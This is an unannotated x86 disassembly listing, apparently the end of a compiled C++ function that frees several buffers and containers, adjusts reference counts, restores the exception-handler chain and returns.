lea ecx, [ebp - 0x254]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x248], eax
mov edx, dword [ebp - 0x10c]
mov dword [ebp - 0x24c], edx
push ecx
mov eax, dword [ebp - 0x248]
push eax
mov edx, dword [ebp - 0x24c]
push edx
call fcn.00434c88
mov word [ebp - 0x1b8], 0x28
dec dword [ebp - 0x1ac]
mov ecx, 0xc
mov eax, dword [ebp - 0xfc]
add esp, 0xc
sub eax, dword [ebp - 0x10c]
cdq
idiv ecx
mov dword [ebp - 0x258], eax
mov ebx, dword [ebp - 0x10c]
test ebx, ebx
je 0x43499a
mov eax, dword [ebp - 0x258]
shl eax, 2
lea eax, [eax + eax*2]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x80
jbe 0x43498a
push ebx
call fcn.00526174
pop ecx
jmp 0x43499a
mov edx, dword [ebp - 0x25c]
push edx
push ebx
call fcn.00538488
add esp, 8
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov ecx, dword [ebp - 0x11c]
shl ecx, 2
push ecx
push 0
mov eax, dword [ebp - 0x118]
push eax
call fcn.00527dec
add esp, 0xc
mov edx, dword [ebp - 0x118]
push edx
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
push 0
lea ecx, [ebp - 0x12c]
push ecx
call fcn.00434d74
add esp, 8
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x13c]
shl eax, 2
push eax
push 0
mov edx, dword [ebp - 0x138]
push edx
call fcn.00527dec
add esp, 0xc
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x148]
shl eax, 2
push eax
push 0
mov edx, dword [ebp - 0x144]
push edx
call fcn.00527dec
add esp, 0xc
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x154]
lea ecx, [ebp - 0x1c8]
add dword [eax - 4], 0xe0
mov edx, dword [ebp - 0x150]
add dword [edx - 4], 0xe0
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
xor edx, edx
pop eax
push eax
mov dword [ebp - 0x1ac], edx
push ecx
call fcn.005352b7
pop ecx
pop eax
jmp 0x434c7f
mov word [ebp - 0x1b8], 0x28
call fcn.00534c02
xor eax, eax
push eax
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x154]
sub dword [edx - 4], 0xe0
mov ecx, dword [ebp - 0x150]
sub dword [ecx - 4], 0xe0
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov edi, dword [ebp - 0x108]
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x260], eax
lea edx, [ebp - 0x268]
push edx
push edi
mov ecx, dword [ebp - 0x260]
push ecx
call fcn.00434c88
mov word [ebp - 0x1b8], 0x14
dec dword [ebp - 0x1ac]
mov ecx, 0xc
mov eax, dword [ebp - 0xfc]
add esp, 0xc
sub eax, dword [ebp - 0x10c]
cdq
idiv ecx
mov dword [ebp - 0x26c], eax
mov ebx, dword [ebp - 0x10c]
test ebx, ebx
je 0x434b80
mov esi, dword [ebp - 0x26c]
shl esi, 2
lea esi, [esi + esi*2]
cmp esi, 0x80
jbe 0x434b76
push ebx
call fcn.00526174
pop ecx
jmp 0x434b80
push esi
push ebx
call fcn.00538488
add esp, 8
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x11c]
shl eax, 2
push eax
push 0
mov edx, dword [ebp - 0x118]
push edx
call fcn.00527dec
add esp, 0xc
mov ecx, dword [ebp - 0x118]
push ecx
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
push 0
lea eax, [ebp - 0x12c]
push eax
call fcn.00434d74
add esp, 8
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x13c]
shl edx, 2
push edx
push 0
mov ecx, dword [ebp - 0x138]
push ecx
call fcn.00527dec
add esp, 0xc
mov eax, dword [ebp - 0x138]
push eax
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x148]
shl edx, 2
push edx
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.00527dec
add esp, 0xc
mov eax, dword [ebp - 0x144]
push eax
call fcn.00526184
pop ecx
dec dword [ebp - 0x1ac]
mov edx, dword [ebp - 0x154]
add dword [edx - 4], 0xe0
mov ecx, dword [ebp - 0x150]
add dword [ecx - 4], 0xe0
dec dword [ebp - 0x1ac]
dec dword [ebp - 0x1ac]
pop eax
mov edx, dword [ebp - 0x1c8]
mov dword fs:[0], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret